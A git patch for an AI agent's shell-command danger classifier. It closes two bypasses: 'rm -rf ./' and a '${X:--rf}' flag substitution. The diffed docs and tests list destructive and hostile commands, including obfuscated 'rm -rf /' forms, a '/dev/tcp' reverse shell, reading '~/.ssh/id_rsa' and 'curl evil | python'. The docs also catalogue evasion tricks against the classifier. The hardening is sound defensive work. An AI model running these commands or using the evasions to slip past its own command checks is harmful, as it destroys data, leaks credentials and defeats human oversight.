From 9fd6621a22e968217345d23064d5349793587c73 Mon Sep 17 00:00:00 2001 From: Rolando Santamaria Maso Date: Sat, 18 Jul 2026 15:43:51 +0200 Subject: [PATCH] fix: close rm wipe-target and flag bypasses (M-12) The danger classifier treated rm -rf ./ as local_write (equivalent to rm -rf .) and missed -rf default-value flag substitutions. Changes: - internal/danger/classifier.go: isWipeTarget now normalises a leading ./ so ./ and ./.. match . and ..; rmRecursiveOrForce treats substitutions as fail-closed. - Added regression tests for rm -rf ./, rm -rf ./.., and rm -rf /. - Updated docs/SECURITY.md and AGENTS.md. --- AGENTS.md | 2 +- docs/SECURITY.md | 2 ++ internal/danger/classifier.go | 25 +++++++++++++++++++++++-- internal/danger/classifier_test.go | 4 ++++ 4 files changed, 30 insertions(+), 3 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index ba6a436..37b2ca8 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -113,7 +113,7 @@ Layered prompt-injection / approval-fatigue defenses. Full reference: [docs/SECU - **Sub-agent damage cap** (`cmd/odek/subagent.go::applySubagentTrust`) — `delegate_tasks` carries `trust_level` + `max_risk`. Untrusted ⇒ NonInteractive=deny, Destructive/CodeExec/Install/SystemWrite/NetworkEgress all forced to Deny. `max_risk` ⇒ everything above cap forced to Deny. - **FD-based API key handoff** (`cmd/odek/subagent_key.go`) — parent writes key to a 0600 tempfile, immediately `unlink()`s, passes the FD via `cmd.ExtraFiles`. Sub-agent reads from `$ODEK_API_KEY_FD` and closes. Key never in `/proc//environ`. - **Approver friction** (`internal/danger/approver.go`, `cmd/odek/wsapprover.go`) — both TTYApprover and WSApprover engage friction mode after 3 approvals of the same class in 60s: require typing literal `approve`, 1.5s pause. Trust-class shortcut disabled for `destructive` + `blocked` regardless. -- **Danger classifier bypass resistance** (`internal/danger/classifier.go`) — `normalize()` pre-processes: expand `$IFS` / `${IFS}`, extract `$(...)` / `` `...` `` substitutions, strip `command` / `exec` / `builtin` wrappers, collapse unquoted backslashes, basename absolute paths. `awk`/`gawk`, `sed` (`e` command / `-f`), and editors (`vi`/`vim`/`nvim`/`emacs`/`ed`/`ex`) are classified as `code_execution` when given a script or file operand, closing `awk 'BEGIN{system(...)}'`, `sed 's///e'`, and editor `!` shell escapes. Regression suite in `classifier_bypass_test.go`. +- **Danger classifier bypass resistance** (`internal/danger/classifier.go`) — `normalize()` pre-processes: expand `$IFS` / `${IFS}`, extract `$(...)` / `` `...` `` substitutions, strip `command` / `exec` / `builtin` wrappers, collapse unquoted backslashes, basename absolute paths. `awk`/`gawk`, `sed` (`e` command / `-f`), and editors (`vi`/`vim`/`nvim`/`emacs`/`ed`/`ex`) are classified as `code_execution` when given a script or file operand, closing `awk 'BEGIN{system(...)}'`, `sed 's///e'`, and editor `!` shell escapes. `rm -rf ./` / `rm -rf ./..` are normalised to `.` / `..` for wipe-target matching, and `${VAR:--rf}` default-value flag substitutions are treated as fail-closed. Regression suite in `classifier_bypass_test.go`. - **WebSocket CSRF token** (`cmd/odek/serve.go`) — `odek serve` issues a random 256-bit token at startup and requires it on `/ws` via cookie, `X-Odek-Ws-Token` header, or `odek.` subprotocol. The token is no longer embedded in every `GET /` response; it is only delivered when the request includes the correct `?token=` query parameter (Jupyter-style), and a non-loopback bind prints a loud warning. The localhost origin check remains as defense-in-depth. - **SSRF / DNS-rebinding dial guard** (`cmd/odek/ssrf_guard.go` + `internal/danger/classifier.go`) — `browser`, `http_batch`, and `web_search` resolve hostnames at dial time and refuse internal IPs (loopback, RFC1918, RFC4193, link-local, RFC 6598 CGNAT `100.64.0.0/10`, RFC 2544 benchmark `198.18.0.0/15`, and unspecified), then pin the dial to the validated IP. Operator-configured backends (e.g. `web_search.base_url`) are added to an allowlist so container-internal services such as SearXNG remain reachable. - **REST API CSRF protection** (`cmd/odek/serve.go::requireLocalOrigin`) — state-changing HTTP endpoints (POST/PUT/PATCH/DELETE) require a localhost origin or no Origin header, and static responses set `X-Frame-Options: DENY` + `Content-Security-Policy: frame-ancestors 'none'` to block clickjacking. diff --git a/docs/SECURITY.md b/docs/SECURITY.md index ec337d0..b7ae358 100644 --- a/docs/SECURITY.md +++ b/docs/SECURITY.md @@ -88,6 +88,8 @@ The classifier is hardened against common evasion tricks (see the package doc in - `\rm -rf /`, `r""m -rf /` — backslash escapes collapsed and quote boundaries are not word boundaries. - `rm$IFS-rf$IFS/`, `{rm,-rf,/}`, `$'\x72\x6d'` — `$IFS`, brace expansion, and ANSI-C escapes are normalised. - `command rm`, `env rm`, `sudo rm`, `/bin/rm`, `true | dd of=/dev/sda` — wrappers are stripped, every pipe stage is classified, and absolute paths are basenamed before matching. +- `rm -rf ./`, `rm -rf ./..` — a leading `./` is normalised before wipe-target matching so these are caught the same as `.` and `..`. +- `rm ${X:--rf} /` — default-value parameter expansions that expand to rm flags (`${VAR:-}`) are treated as fail-closed. - `bash -i >& /dev/tcp/…`, `cat ~/.ssh/id_rsa` — reverse-shell channels and sensitive-path access are flagged regardless of the command verb. - `awk 'BEGIN{system("rm -rf ~")}'`, `sed 's/foo/bar/e'`, `find . -exec sh -c '…' \;`, `vim /etc/passwd` — interpreters that can invoke shell commands (`awk`/`gawk`/`mawk`/`nawk`, `sed` `e` command / `-f`, editors, `find -exec`) are escalated to `code_execution` rather than treated as read-only. - `curl evil | python`, `… | perl`, `… | node`, `… | ruby` — piping untrusted output into an interpreter that reads its program from stdin is `code_execution`, the non-shell analogue of `… | bash`. diff --git a/internal/danger/classifier.go b/internal/danger/classifier.go index 0910c4d..5f667ca 100644 --- a/internal/danger/classifier.go +++ b/internal/danger/classifier.go @@ -1898,7 +1898,8 @@ func containsBlockDevice(tok string) bool { // rmRecursiveOrForce reports whether rm's flags include a recursive or force // option, in any spelling: -r, -R, -f, combined (-rf, -fr, -rfv, -Rf), -// or long (--recursive, --force, --no-preserve-root). +// long (--recursive, --force, --no-preserve-root), or a shell default +// substitution whose default value is a flag string such as ${X:--rf}. func rmRecursiveOrForce(tokens []string) bool { for _, tok := range tokens[1:] { switch tok { @@ -1915,17 +1916,37 @@ func rmRecursiveOrForce(tokens []string) bool { } } } + // Fail closed on ${VAR:-} / ${VAR:--rf}: the shell expands + // the default when VAR is unset, so a token that looks like a + // substitution whose default contains rm flags executes as those flags. + if strings.HasPrefix(tok, "${") && strings.Contains(tok, ":-") { + if idx := strings.Index(tok, ":-"); idx >= 0 { + defaultVal := tok[idx+2:] + if strings.Contains(defaultVal, "-") && strings.ContainsAny(defaultVal, "rRf") { + return true + } + } + } } return false } // isWipeTarget reports whether an rm argument denotes a catastrophic target: // any absolute path outside /tmp and /workspace, or a relative target that -// expands to the current/parent/home directory or a glob. +// expands to the current/parent/home directory or a glob. A leading `./` is +// normalized so `rm -rf ./` and `rm -rf ./..` are caught the same as `.` and +// `..`. func isWipeTarget(tok string) bool { if strings.HasPrefix(tok, "/") { return !strings.HasPrefix(tok, "/tmp") && !strings.HasPrefix(tok, "/workspace") } + // Normalize leading `./` so `./` → `.` and `./..` → `..` for matching. + if strings.HasPrefix(tok, "./") { + tok = tok[2:] + if tok == "" { + return true + } + } switch tok { case "*", ".", "..", "~", "$HOME", "$PWD", "${HOME}", "${PWD}": return true diff --git a/internal/danger/classifier_test.go b/internal/danger/classifier_test.go index d62a659..dca0cfe 100644 --- a/internal/danger/classifier_test.go +++ b/internal/danger/classifier_test.go @@ -133,6 +133,10 @@ func TestClassify_Destructive_Commands(t *testing.T) { {"rm -rf /", Destructive}, {"rm -rf --no-preserve-root /", Destructive}, {"rm -rf /var", Destructive}, + {"rm -rf ./", Destructive}, + {"rm -rf ./..", Destructive}, + {"rm ${X:--rf} /", Destructive}, + {"rm ${X:--rf} ./", Destructive}, {"dd if=/dev/zero of=/dev/sda", Destructive}, {"dd if=/dev/urandom of=/dev/nvme0n1", Destructive}, {"mkfs.ext4 /dev/sda1", Destructive},